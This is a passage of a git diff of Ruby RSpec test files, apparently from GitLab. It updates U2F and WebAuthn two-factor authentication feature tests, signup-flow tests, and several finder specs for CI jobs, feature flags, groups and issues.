+ click_on 'Register device'
expect(U2fRegistration.count).to eq(0)
expect(page).to have_content("The form contains the following error")
@@ -126,9 +79,9 @@ RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :j
# Failed registration
page.execute_script("u2f.register = function(_,_,_,callback) { callback('bad response'); };")
- click_on 'Set up new U2F device'
+ click_on 'Set up new device'
expect(page).to have_content('Your device was successfully set up')
- click_on 'Register U2F device'
+ click_on 'Register device'
expect(page).to have_content("The form contains the following error")
# Successful registration
@@ -228,12 +181,12 @@ RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :j
user = gitlab_sign_in(:user)
user.update_attribute(:otp_required_for_login, true)
visit profile_two_factor_auth_path
- expect(page).to have_content("Your U2F device needs to be set up.")
+ expect(page).to have_content("Your device needs to be set up.")
first_device = register_u2f_device
# Register second device
visit profile_two_factor_auth_path
- expect(page).to have_content("Your U2F device needs to be set up.")
+ expect(page).to have_content("Your device needs to be set up.")
second_device = register_u2f_device(name: 'My other device')
gitlab_sign_out
@@ -249,50 +202,4 @@ RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :j
end
end
end
-
- describe 'fallback code authentication' do
- let(:user) { create(:user) }
-
- def assert_fallback_ui(page)
- expect(page).to have_button('Verify code')
- expect(page).to have_css('#user_otp_attempt')
- expect(page).not_to have_link('Sign in via 2FA code')
- expect(page).not_to have_css('#js-authenticate-token-2fa')
- end
-
- before do
- # Register and logout
- gitlab_sign_in(user)
- user.update_attribute(:otp_required_for_login, true)
- visit profile_account_path
- end
-
- describe 'when no u2f device is registered' do
- before do
- gitlab_sign_out
- gitlab_sign_in(user)
- end
-
- it 'shows the fallback otp code UI' do
- assert_fallback_ui(page)
- end
- end
-
- describe 'when a u2f device is registered' do
- before do
- manage_two_factor_authentication
- @u2f_device = register_u2f_device
- gitlab_sign_out
- gitlab_sign_in(user)
- end
-
- it 'provides a button that shows the fallback otp code UI' do
- expect(page).to have_link('Sign in via 2FA code')
-
- click_link('Sign in via 2FA code')
-
- assert_fallback_ui(page)
- end
- end
- end
end
diff --git a/spec/features/users/login_spec.rb b/spec/features/users/login_spec.rb
index 6f6ebe34c03..853c381fe6b 100644
--- a/spec/features/users/login_spec.rb
+++ b/spec/features/users/login_spec.rb
@@ -511,7 +511,7 @@ RSpec.describe 'Login' do
context 'within the grace period' do
it 'redirects to two-factor configuration page' do
- Timecop.freeze do
+ freeze_time do
expect(authentication_metrics)
.to increment(:user_authenticated_counter)
diff --git a/spec/features/users/signup_spec.rb b/spec/features/users/signup_spec.rb
index 332be055027..5fd0e677cd0 100644
--- a/spec/features/users/signup_spec.rb
+++ b/spec/features/users/signup_spec.rb
@@ -152,7 +152,6 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
@@ -180,19 +179,13 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
expect { click_button 'Register' }.to change { User.count }.by(1)
- if Gitlab::Experimentation.enabled?(:signup_flow)
- expect(current_path).to eq users_sign_up_welcome_path
- else
- expect(current_path).to eq dashboard_projects_path
- expect(page).to have_content("Please check your email (#{new_user.email}) to verify that you own this address and unlock the power of CI/CD.")
- end
+ expect(current_path).to eq users_sign_up_welcome_path
end
end
end
@@ -209,18 +202,12 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email.capitalize
end
fill_in 'new_user_password', with: new_user.password
click_button "Register"
- if Gitlab::Experimentation.enabled?(:signup_flow)
- expect(current_path).to eq users_sign_up_welcome_path
- else
- expect(current_path).to eq dashboard_projects_path
- expect(page).to have_content("Welcome! You have signed up successfully.")
- end
+ expect(current_path).to eq users_sign_up_welcome_path
end
end
@@ -240,18 +227,12 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
click_button "Register"
- if Gitlab::Experimentation.enabled?(:signup_flow)
- expect(current_path).to eq users_sign_up_welcome_path
- else
- expect(current_path).to eq dashboard_projects_path
- expect(page).to have_content("Welcome! You have signed up successfully.")
- end
+ expect(current_path).to eq users_sign_up_welcome_path
end
end
end
@@ -275,14 +256,7 @@ RSpec.shared_examples 'Signup' do
click_button "Register"
expect(current_path).to eq user_registration_path
-
- if Gitlab::Experimentation.enabled?(:signup_flow)
- expect(page).to have_content("error prohibited this user from being saved")
- else
- expect(page).to have_content("errors prohibited this user from being saved")
- expect(page).to have_content("Email confirmation doesn't match")
- end
-
+ expect(page).to have_content("error prohibited this user from being saved")
expect(page).to have_content("Email has already been taken")
end
@@ -324,7 +298,6 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
@@ -346,7 +319,6 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
@@ -354,11 +326,7 @@ RSpec.shared_examples 'Signup' do
click_button "Register"
- if Gitlab::Experimentation.enabled?(:signup_flow)
- expect(current_path).to eq users_sign_up_welcome_path
- else
- expect(current_path).to eq dashboard_projects_path
- end
+ expect(current_path).to eq users_sign_up_welcome_path
end
end
@@ -393,7 +361,6 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
@@ -415,7 +382,6 @@ RSpec.shared_examples 'Signup' do
fill_in 'new_user_last_name', with: new_user.last_name
else
fill_in 'new_user_name', with: new_user.name
- fill_in 'new_user_email_confirmation', with: new_user.email
end
fill_in 'new_user_password', with: new_user.password
@@ -425,6 +391,35 @@ RSpec.shared_examples 'Signup' do
end
end
end
+
+ it 'redirects to step 2 of the signup process, sets the role and redirects back' do
+ new_user = build_stubbed(:user)
+ visit new_user_registration_path
+
+ fill_in 'new_user_username', with: new_user.username
+ fill_in 'new_user_email', with: new_user.email
+
+ if Gitlab::Experimentation.enabled?(:signup_flow)
+ fill_in 'new_user_first_name', with: new_user.first_name
+ fill_in 'new_user_last_name', with: new_user.last_name
+ else
+ fill_in 'new_user_name', with: new_user.name
+ end
+
+ fill_in 'new_user_password', with: new_user.password
+ click_button 'Register'
+ visit new_project_path
+
+ expect(page).to have_current_path(users_sign_up_welcome_path)
+
+ select 'Software Developer', from: 'user_role'
+ click_button 'Get started!'
+ new_user = User.find_by_username(new_user.username)
+
+ expect(new_user.software_developer_role?).to be_truthy
+ expect(new_user.setup_for_company).to be_nil
+ expect(page).to have_current_path(new_project_path)
+ end
end
RSpec.shared_examples 'Signup name validation' do |field, max_length|
@@ -485,31 +480,6 @@ RSpec.describe 'With experimental flow' do
it_behaves_like 'Signup name validation', 'new_user_first_name', 127
it_behaves_like 'Signup name validation', 'new_user_last_name', 127
- describe 'when role is required' do
- it 'after registering, it redirects to step 2 of the signup process, sets the name and role and then redirects to the original requested url' do
- new_user = build_stubbed(:user)
- visit new_user_registration_path
- fill_in 'new_user_first_name', with: new_user.first_name
- fill_in 'new_user_last_name', with: new_user.last_name
- fill_in 'new_user_username', with: new_user.username
- fill_in 'new_user_email', with: new_user.email
- fill_in 'new_user_password', with: new_user.password
- click_button 'Register'
- visit new_project_path
-
- expect(page).to have_current_path(users_sign_up_welcome_path)
-
- select 'Software Developer', from: 'user_role'
- choose 'user_setup_for_company_true'
- click_button 'Get started!'
- new_user = User.find_by_username(new_user.username)
-
- expect(new_user.software_developer_role?).to be_truthy
- expect(new_user.setup_for_company).to be_truthy
- expect(page).to have_current_path(new_project_path)
- end
- end
-
context 'when terms_opt_in experimental is enabled' do
include TermsHelper
@@ -521,14 +491,13 @@ RSpec.describe 'With experimental flow' do
it 'terms are checked by default' do
new_user = build_stubbed(:user)
- visit new_user_registration_path
- fill_in 'new_user_username', with: new_user.username
- fill_in 'new_user_email', with: new_user.email
+ visit new_user_registration_path
fill_in 'new_user_first_name', with: new_user.first_name
fill_in 'new_user_last_name', with: new_user.last_name
+ fill_in 'new_user_username', with: new_user.username
+ fill_in 'new_user_email', with: new_user.email
fill_in 'new_user_password', with: new_user.password
-
click_button 'Register'
expect(current_path).to eq users_sign_up_welcome_path
diff --git a/spec/features/webauthn_spec.rb b/spec/features/webauthn_spec.rb
new file mode 100644
index 00000000000..2ffb6bb3477
--- /dev/null
+++ b/spec/features/webauthn_spec.rb
@@ -0,0 +1,234 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Using WebAuthn Devices for Authentication', :js do
+ include Spec::Support::Helpers::Features::TwoFactorHelpers
+ let(:app_id) { "http://#{Capybara.current_session.server.host}:#{Capybara.current_session.server.port}" }
+
+ before do
+ WebAuthn.configuration.origin = app_id
+ end
+
+ it_behaves_like 'hardware device for 2fa', 'WebAuthn'
+
+ describe 'registration' do
+ let(:user) { create(:user) }
+
+ before do
+ gitlab_sign_in(user)
+ user.update_attribute(:otp_required_for_login, true)
+ end
+
+ describe 'when 2FA via OTP is enabled' do
+ it 'allows registering more than one device' do
+ visit profile_account_path
+
+ # First device
+ manage_two_factor_authentication
+ first_device = register_webauthn_device
+ expect(page).to have_content('Your WebAuthn device was registered')
+
+ # Second device
+ second_device = register_webauthn_device(name: 'My other device')
+ expect(page).to have_content('Your WebAuthn device was registered')
+
+ expect(page).to have_content(first_device.name)
+ expect(page).to have_content(second_device.name)
+ expect(WebauthnRegistration.count).to eq(2)
+ end
+ end
+
+ it 'allows the same device to be registered for multiple users' do
+ # First user
+ visit profile_account_path
+ manage_two_factor_authentication
+ webauthn_device = register_webauthn_device
+ expect(page).to have_content('Your WebAuthn device was registered')
+ gitlab_sign_out
+
+ # Second user
+ user = gitlab_sign_in(:user)
+ user.update_attribute(:otp_required_for_login, true)
+ visit profile_account_path
+ manage_two_factor_authentication
+ register_webauthn_device(webauthn_device, name: 'My other device')
+ expect(page).to have_content('Your WebAuthn device was registered')
+
+ expect(WebauthnRegistration.count).to eq(2)
+ end
+
+ context 'when there are form errors' do
+ let(:mock_register_js) do
+ <<~JS
+ const mockResponse = {
+ type: 'public-key',
+ id: '',
+ rawId: '',
+ response: {
+ clientDataJSON: '',
+ attestationObject: '',
+ },
+ getClientExtensionResults: () => {},
+ };
+ navigator.credentials.create = function(_) {return Promise.resolve(mockResponse);}
+ JS
+ end
+
+ it "doesn't register the device if there are errors" do
+ visit profile_account_path
+ manage_two_factor_authentication
+
+ # Have the "webauthn device" respond with bad data
+ page.execute_script(mock_register_js)
+ click_on 'Set up new device'
+ expect(page).to have_content('Your device was successfully set up')
+ click_on 'Register device'
+
+ expect(WebauthnRegistration.count).to eq(0)
+ expect(page).to have_content('The form contains the following error')
+ expect(page).to have_content('did not send a valid JSON response')
+ end
+
+ it 'allows retrying registration' do
+ visit profile_account_path
+ manage_two_factor_authentication
+
+ # Failed registration
+ page.execute_script(mock_register_js)
+ click_on 'Set up new device'
+ expect(page).to have_content('Your device was successfully set up')
+ click_on 'Register device'
+ expect(page).to have_content('The form contains the following error')
+
+ # Successful registration
+ register_webauthn_device
+
+ expect(page).to have_content('Your WebAuthn device was registered')
+ expect(WebauthnRegistration.count).to eq(1)
+ end
+ end
+ end
+
+ describe 'authentication' do
+ let(:otp_required_for_login) { true }
+ let(:user) { create(:user, webauthn_xid: WebAuthn.generate_user_id, otp_required_for_login: otp_required_for_login) }
+
+ describe 'when there is only an U2F device' do
+ let!(:u2f_device) do
+ fake_device = U2F::FakeU2F.new(app_id) # "Client"
+ u2f = U2F::U2F.new(app_id) # "Server"
+
+ challenges = u2f.registration_requests.map(&:challenge)
+ device_response = fake_device.register_response(challenges[0])
+ device_registration_params = { device_response: device_response,
+ name: 'My device' }
+
+ U2fRegistration.register(user, app_id, device_registration_params, challenges)
+ FakeU2fDevice.new(page, 'My device', fake_device)
+ end
+
+ it 'falls back to U2F' do
+ gitlab_sign_in(user)
+
+ u2f_device.respond_to_u2f_authentication
+
+ expect(page).to have_css('.sign-out-link', visible: false)
+ end
+ end
+
+ describe 'when there is a WebAuthn device' do
+ let!(:webauthn_device) do
+ add_webauthn_device(app_id, user)
+ end
+
+ describe 'when 2FA via OTP is disabled' do
+ let(:otp_required_for_login) { false }
+
+ it 'allows logging in with the WebAuthn device' do
+ gitlab_sign_in(user)
+
+ webauthn_device.respond_to_webauthn_authentication
+
+ expect(page).to have_css('.sign-out-link', visible: false)
+ end
+ end
+
+ describe 'when 2FA via OTP is enabled' do
+ it 'allows logging in with the WebAuthn device' do
+ gitlab_sign_in(user)
+
+ webauthn_device.respond_to_webauthn_authentication
+
+ expect(page).to have_css('.sign-out-link', visible: false)
+ end
+ end
+
+ describe 'when a given WebAuthn device has already been registered by another user' do
+ describe 'but not the current user' do
+ let(:other_user) { create(:user, webauthn_xid: WebAuthn.generate_user_id, otp_required_for_login: otp_required_for_login) }
+
+ it 'does not allow logging in with that particular device' do
+ # Register other user with a different WebAuthn device
+ other_device = add_webauthn_device(app_id, other_user)
+
+ # Try authenticating user with the old WebAuthn device
+ gitlab_sign_in(user)
+ other_device.respond_to_webauthn_authentication
+ expect(page).to have_content('Authentication via WebAuthn device failed')
+ end
+ end
+
+ describe "and also the current user" do
+ # TODO Uncomment once WebAuthn::FakeClient supports passing credential options
+ # (especially allow_credentials, as this is needed to specify which credential the
+ # fake client should use. Currently, the first credential is always used).
+ # There is an issue open for this: https://github.com/cedarcode/webauthn-ruby/issues/259
+ it "allows logging in with that particular device" do
+ pending("support for passing credential options in FakeClient")
+ # Register current user with the same WebAuthn device
+ current_user = gitlab_sign_in(:user)
+ visit profile_account_path
+ manage_two_factor_authentication
+ register_webauthn_device(webauthn_device)
+ gitlab_sign_out
+
+ # Try authenticating user with the same WebAuthn device
+ gitlab_sign_in(current_user)
+ webauthn_device.respond_to_webauthn_authentication
+
+ expect(page).to have_css('.sign-out-link', visible: false)
+ end
+ end
+ end
+
+ describe 'when a given WebAuthn device has not been registered' do
+ it 'does not allow logging in with that particular device' do
+ unregistered_device = FakeWebauthnDevice.new(page, 'My device')
+ gitlab_sign_in(user)
+ unregistered_device.respond_to_webauthn_authentication
+
+ expect(page).to have_content('Authentication via WebAuthn device failed')
+ end
+ end
+
+ describe 'when more than one device has been registered by the same user' do
+ it 'allows logging in with either device' do
+ first_device = add_webauthn_device(app_id, user)
+ second_device = add_webauthn_device(app_id, user)
+
+ # Authenticate as both devices
+ [first_device, second_device].each do |device|
+ gitlab_sign_in(user)
+ # register_webauthn_device(device)
+ device.respond_to_webauthn_authentication
+
+ expect(page).to have_css('.sign-out-link', visible: false)
+
+ gitlab_sign_out
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/finders/ci/jobs_finder_spec.rb b/spec/finders/ci/jobs_finder_spec.rb
index e6680afa15c..a6a41c36489 100644
--- a/spec/finders/ci/jobs_finder_spec.rb
+++ b/spec/finders/ci/jobs_finder_spec.rb
@@ -36,53 +36,135 @@ RSpec.describe Ci::JobsFinder, '#execute' do
end
end
- context 'scope is present' do
- let(:jobs) { [job_1, job_2, job_3] }
-
- where(:scope, :index) do
- [
- ['pending', 0],
- ['running', 1],
- ['finished', 2]
- ]
+ context 'with ci_jobs_finder_refactor ff enabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: true)
end
- with_them do
- let(:params) { { scope: scope } }
+ context 'scope is present' do
+ let(:jobs) { [job_1, job_2, job_3] }
+
+ where(:scope, :index) do
+ [
+ ['pending', 0],
+ ['running', 1],
+ ['finished', 2]
+ ]
+ end
+
+ with_them do
+ let(:params) { { scope: scope } }
- it { expect(subject).to match_array([jobs[index]]) }
+ it { expect(subject).to match_array([jobs[index]]) }
+ end
end
- end
- end
- context 'a project is present' do
- subject { described_class.new(current_user: user, project: project, params: params).execute }
+ context 'scope is an array' do
+ let(:jobs) { [job_1, job_2, job_3] }
+ let(:params) {{ scope: ['running'] }}
- context 'user has access to the project' do
+ it 'filters by the job statuses in the scope' do
+ expect(subject).to match_array([job_2])
+ end
+ end
+ end
+
+ context 'with ci_jobs_finder_refactor ff disabled' do
before do
- project.add_maintainer(user)
+ stub_feature_flags(ci_jobs_finder_refactor: false)
end
- it 'returns jobs for the specified project' do
- expect(subject).to match_array([job_3])
+ context 'scope is present' do
+ let(:jobs) { [job_1, job_2, job_3] }
+
+ where(:scope, :index) do
+ [
+ ['pending', 0],
+ ['running', 1],
+ ['finished', 2]
+ ]
+ end
+
+ with_them do
+ let(:params) { { scope: scope } }
+
+ it { expect(subject).to match_array([jobs[index]]) }
+ end
end
end
+ end
- context 'user has no access to project builds' do
- before do
- project.add_guest(user)
+ context 'with ci_jobs_finder_refactor ff enabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: true)
+ end
+
+ context 'a project is present' do
+ subject { described_class.new(current_user: user, project: project, params: params).execute }
+
+ context 'user has access to the project' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it 'returns jobs for the specified project' do
+ expect(subject).to match_array([job_3])
+ end
end
- it 'returns no jobs' do
- expect(subject).to be_empty
+ context 'user has no access to project builds' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'returns no jobs' do
+ expect(subject).to be_empty
+ end
+ end
+
+ context 'without user' do
+ let(:user) { nil }
+
+ it 'returns no jobs' do
+ expect(subject).to be_empty
+ end
end
end
+ end
- context 'without user' do
- let(:user) { nil }
+ context 'with ci_jobs_finder_refactor ff disabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: false)
+ end
+ context 'a project is present' do
+ subject { described_class.new(current_user: user, project: project, params: params).execute }
- it 'returns no jobs' do
- expect(subject).to be_empty
+ context 'user has access to the project' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it 'returns jobs for the specified project' do
+ expect(subject).to match_array([job_3])
+ end
+ end
+
+ context 'user has no access to project builds' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'returns no jobs' do
+ expect(subject).to be_empty
+ end
+ end
+
+ context 'without user' do
+ let(:user) { nil }
+
+ it 'returns no jobs' do
+ expect(subject).to be_empty
+ end
end
end
end
diff --git a/spec/finders/concerns/finder_methods_spec.rb b/spec/finders/concerns/finder_methods_spec.rb
index 3e299c93eda..195449d70c3 100644
--- a/spec/finders/concerns/finder_methods_spec.rb
+++ b/spec/finders/concerns/finder_methods_spec.rb
@@ -7,8 +7,6 @@ RSpec.describe FinderMethods do
Class.new do
include FinderMethods
- attr_reader :current_user
-
def initialize(user)
@current_user = user
end
@@ -16,6 +14,10 @@ RSpec.describe FinderMethods do
def execute
Project.all.order(id: :desc)
end
+
+ private
+
+ attr_reader :current_user
end
end
diff --git a/spec/finders/design_management/designs_finder_spec.rb b/spec/finders/design_management/designs_finder_spec.rb
index 0133095827d..feb78a4bc4b 100644
--- a/spec/finders/design_management/designs_finder_spec.rb
+++ b/spec/finders/design_management/designs_finder_spec.rb
@@ -42,26 +42,6 @@ RSpec.describe DesignManagement::DesignsFinder do
is_expected.to eq([design3, design2, design1])
end
- context 'when the :reorder_designs feature is enabled for the project' do
- before do
- stub_feature_flags(reorder_designs: project)
- end
-
- it 'returns the designs sorted by their relative position' do
- is_expected.to eq([design3, design2, design1])
- end
- end
-
- context 'when the :reorder_designs feature is disabled' do
- before do
- stub_feature_flags(reorder_designs: false)
- end
-
- it 'returns the designs sorted by ID' do
- is_expected.to eq([design1, design2, design3])
- end
- end
-
context 'when argument is the ids of designs' do
let(:params) { { ids: [design1.id] } }
diff --git a/spec/finders/feature_flags_finder_spec.rb b/spec/finders/feature_flags_finder_spec.rb
new file mode 100644
index 00000000000..870447a1286
--- /dev/null
+++ b/spec/finders/feature_flags_finder_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe FeatureFlagsFinder do
+ include FeatureFlagHelpers
+
+ let(:finder) { described_class.new(project, user, params) }
+ let(:project) { create(:project) }
+ let(:user) { developer }
+ let(:developer) { create(:user) }
+ let(:reporter) { create(:user) }
+ let(:params) { {} }
+
+ before do
+ project.add_developer(developer)
+ project.add_reporter(reporter)
+ end
+
+ describe '#execute' do
+ subject { finder.execute(args) }
+
+ let!(:feature_flag_1) { create(:operations_feature_flag, name: 'flag-a', project: project) }
+ let!(:feature_flag_2) { create(:operations_feature_flag, name: 'flag-b', project: project) }
+ let(:args) { {} }
+
+ it 'returns feature flags ordered by name' do
+ is_expected.to eq([feature_flag_1, feature_flag_2])
+ end
+
+ it 'preloads relations by default' do
+ expect(Operations::FeatureFlag).to receive(:preload_relations).and_call_original
+
+ subject
+ end
+
+ context 'when user is a reporter' do
+ let(:user) { reporter }
+
+ it 'returns an empty list' do
+ is_expected.to be_empty
+ end
+ end
+
+ context 'when scope is given' do
+ let!(:feature_flag_1) { create(:operations_feature_flag, project: project, active: true) }
+ let!(:feature_flag_2) { create(:operations_feature_flag, project: project, active: false) }
+
+ context 'when scope is enabled' do
+ let(:params) { { scope: 'enabled' } }
+
+ it 'returns active feature flag' do
+ is_expected.to eq([feature_flag_1])
+ end
+ end
+
+ context 'when scope is disabled' do
+ let(:params) { { scope: 'disabled' } }
+
+ it 'returns inactive feature flag' do
+ is_expected.to eq([feature_flag_2])
+ end
+ end
+ end
+
+ context 'when preload option is false' do
+ let(:args) { { preload: false } }
+
+ it 'does not preload relations' do
+ expect(Operations::FeatureFlag).not_to receive(:preload_relations)
+
+ subject
+ end
+ end
+
+ context 'when new version flags are enabled' do
+ let!(:feature_flag_3) { create(:operations_feature_flag, :new_version_flag, name: 'flag-c', project: project) }
+
+ it 'returns new and legacy flags' do
+ is_expected.to eq([feature_flag_1, feature_flag_2, feature_flag_3])
+ end
+ end
+
+ context 'when new version flags are disabled' do
+ let!(:feature_flag_3) { create(:operations_feature_flag, :new_version_flag, name: 'flag-c', project: project) }
+
+ it 'returns only legacy flags' do
+ stub_feature_flags(feature_flags_new_version: false)
+
+ is_expected.to eq([feature_flag_1, feature_flag_2])
+ end
+ end
+ end
+end
diff --git a/spec/finders/fork_targets_finder_spec.rb b/spec/finders/fork_targets_finder_spec.rb
index 7208f46cfff..12f01227af8 100644
--- a/spec/finders/fork_targets_finder_spec.rb
+++ b/spec/finders/fork_targets_finder_spec.rb
@@ -35,5 +35,13 @@ RSpec.describe ForkTargetsFinder do
it 'returns all user manageable namespaces' do
expect(finder.execute).to match_array([user.namespace, maintained_group, owned_group, project.namespace])
end
+
+ it 'returns only groups when only_groups option is passed' do
+ expect(finder.execute(only_groups: true)).to match_array([maintained_group, owned_group, project.namespace])
+ end
+
+ it 'returns groups relation when only_groups option is passed' do
+ expect(finder.execute(only_groups: true)).to include(a_kind_of(Group))
+ end
end
end
diff --git a/spec/finders/group_members_finder_spec.rb b/spec/finders/group_members_finder_spec.rb
index 68b120db227..67e7de5921a 100644
--- a/spec/finders/group_members_finder_spec.rb
+++ b/spec/finders/group_members_finder_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe GroupMembersFinder, '#execute' do
member1 = group.add_maintainer(user1)
member2 = group.add_maintainer(user2)
member3 = group.add_maintainer(user3)
+ create(:group_member, :minimal_access, user: create(:user), source: group)
result = described_class.new(group).execute
diff --git a/spec/finders/groups_finder_spec.rb b/spec/finders/groups_finder_spec.rb
index 78764f79a6c..48e4c5dadc9 100644
--- a/spec/finders/groups_finder_spec.rb
+++ b/spec/finders/groups_finder_spec.rb
@@ -150,6 +150,14 @@ RSpec.describe GroupsFinder do
end
end
end
+
+ context 'being minimal access member of parent group' do
+ it 'do not return group with minimal_access access' do
+ create(:group_member, :minimal_access, user: user, source: parent_group)
+
+ is_expected.to contain_exactly(public_subgroup, internal_subgroup)
+ end
+ end
end
end
end
diff --git a/spec/finders/issues_finder_spec.rb b/spec/finders/issues_finder_spec.rb
index fb7d4e808fe..dbf5abe64a5 100644
--- a/spec/finders/issues_finder_spec.rb
+++ b/spec/finders/issues_finder_spec.rb
@@ -3,6 +3,7 @@
require 'spec_helper'
RSpec.describe IssuesFinder do
+ using RSpec::Parameterized::TableSyntax
include_context 'IssuesFinder context'
describe '#execute' do
@@ -330,100 +331,139 @@ RSpec.describe IssuesFinder do
end
end
- context 'filtering by label' do
- let(:params) { { label_name: label.title } }
+ shared_examples ':label_name parameter' do
+ context 'filtering by label' do
+ let(:params) { { label_name: label.title } }
- it 'returns issues with that label' do
- expect(issues).to contain_exactly(issue2)
- end
+ it 'returns issues with that label' do
+ expect(issues).to contain_exactly(issue2)
+ end
- context 'using NOT' do
- let(:params) { { not: { label_name: label.title } } }
+ context 'using NOT' do
+ let(:params) { { not: { label_name: label.title } } }
- it 'returns issues that do not have that label' do
- expect(issues).to contain_exactly(issue1, issue3, issue4)
- end
+ it 'returns issues that do not have that label' do
+ expect(issues).to contain_exactly(issue1, issue3, issue4)
+ end
- # IssuableFinder first filters using the outer params (the ones not inside the `not` key.)
- # Afterwards, it applies the `not` params to that resultset. This means that things inside the `not` param
- # do not take precedence over the outer params with the same name.
- context 'shadowing the same outside param' do
- let(:params) { { label_name: label2.title, not: { label_name: label.title } } }
+ # IssuableFinder first filters using the outer params (the ones not inside the `not` key.)
+ # Afterwards, it applies the `not` params to that resultset. This means that things inside the `not` param
+ # do not take precedence over the outer params with the same name.
+ context 'shadowing the same outside param' do
+ let(:params) { { label_name: label2.title, not: { label_name: label.title } } }
- it 'does not take precedence over labels outside NOT' do
- expect(issues).to contain_exactly(issue3)
+ it 'does not take precedence over labels outside NOT' do
+ expect(issues).to contain_exactly(issue3)
+ end
end
- end
- context 'further filtering outside params' do
- let(:params) { { label_name: label2.title, not: { assignee_username: user2.username } } }
+ context 'further filtering outside params' do
+ let(:params) { { label_name: label2.title, not: { assignee_username: user2.username } } }
- it 'further filters on the returned resultset' do
- expect(issues).to be_empty
+ it 'further filters on the returned resultset' do
+ expect(issues).to be_empty
+ end
end
end
end
- end
- context 'filtering by multiple labels' do
- let(:params) { { label_name: [label.title, label2.title].join(',') } }
- let(:label2) { create(:label, project: project2) }
+ context 'filtering by multiple labels' do
+ let(:params) { { label_name: [label.title, label2.title].join(',') } }
+ let(:label2) { create(:label, project: project2) }
- before do
- create(:label_link, label: label2, target: issue2)
- end
+ before do
+ create(:label_link, label: label2, target: issue2)
+ end
- it 'returns the unique issues with all those labels' do
- expect(issues).to contain_exactly(issue2)
- end
+ it 'returns the unique issues with all those labels' do
+ expect(issues).to contain_exactly(issue2)
+ end
- context 'using NOT' do
- let(:params) { { not: { label_name: [label.title, label2.title].join(',') } } }
+ context 'using NOT' do
+ let(:params) { { not: { label_name: [label.title, label2.title].join(',') } } }
- it 'returns issues that do not have any of the labels provided' do
- expect(issues).to contain_exactly(issue1, issue4)
+ it 'returns issues that do not have any of the labels provided' do
+ expect(issues).to contain_exactly(issue1, issue4)
+ end
end
end
- end
- context 'filtering by a label that includes any or none in the title' do
- let(:params) { { label_name: [label.title, label2.title].join(',') } }
- let(:label) { create(:label, title: 'any foo', project: project2) }
- let(:label2) { create(:label, title: 'bar none', project: project2) }
+ context 'filtering by a label that includes any or none in the title' do
+ let(:params) { { label_name: [label.title, label2.title].join(',') } }
+ let(:label) { create(:label, title: 'any foo', project: project2) }
+ let(:label2) { create(:label, title: 'bar none', project: project2) }
- before do
- create(:label_link, label: label2, target: issue2)
- end
+ before do
+ create(:label_link, label: label2, target: issue2)
+ end
+
+ it 'returns the unique issues with all those labels' do
+ expect(issues).to contain_exactly(issue2)
+ end
- it 'returns the unique issues with all those labels' do
- expect(issues).to contain_exactly(issue2)
+ context 'using NOT' do
+ let(:params) { { not: { label_name: [label.title, label2.title].join(',') } } }
+
+ it 'returns issues that do not have ANY ONE of the labels provided' do
+ expect(issues).to contain_exactly(issue1, issue4)
+ end
+ end
end
- context 'using NOT' do
- let(:params) { { not: { label_name: [label.title, label2.title].join(',') } } }
+ context 'filtering by no label' do
+ let(:params) { { label_name: described_class::Params::FILTER_NONE } }
- it 'returns issues that do not have ANY ONE of the labels provided' do
+ it 'returns issues with no labels' do
expect(issues).to contain_exactly(issue1, issue4)
end
end
- end
- context 'filtering by no label' do
- let(:params) { { label_name: described_class::Params::FILTER_NONE } }
+ context 'filtering by any label' do
+ let(:params) { { label_name: described_class::Params::FILTER_ANY } }
+
+ it 'returns issues that have one or more label' do
+ create_list(:label_link, 2, label: create(:label, project: project2), target: issue3)
- it 'returns issues with no labels' do
- expect(issues).to contain_exactly(issue1, issue4)
+ expect(issues).to contain_exactly(issue2, issue3)
+ end
+ end
+
+ context 'when the same label exists on project and group levels' do
+ let(:issue1) { create(:issue, project: project1) }
+ let(:issue2) { create(:issue, project: project1) }
+
+ # Skipping validation to reproduce a "real-word" scenario.
+ # We still have legacy labels on PRD that have the same title on the group and project levels, example: `bug`
+ let(:project_label) { build(:label, title: 'somelabel', project: project1).tap { |r| r.save!(validate: false) } }
+ let(:group_label) { create(:group_label, title: 'somelabel', group: project1.group) }
+
+ let(:params) { { label_name: 'somelabel' } }
+
+ before do
+ create(:label_link, label: group_label, target: issue1)
+ create(:label_link, label: project_label, target: issue2)
+ end
+
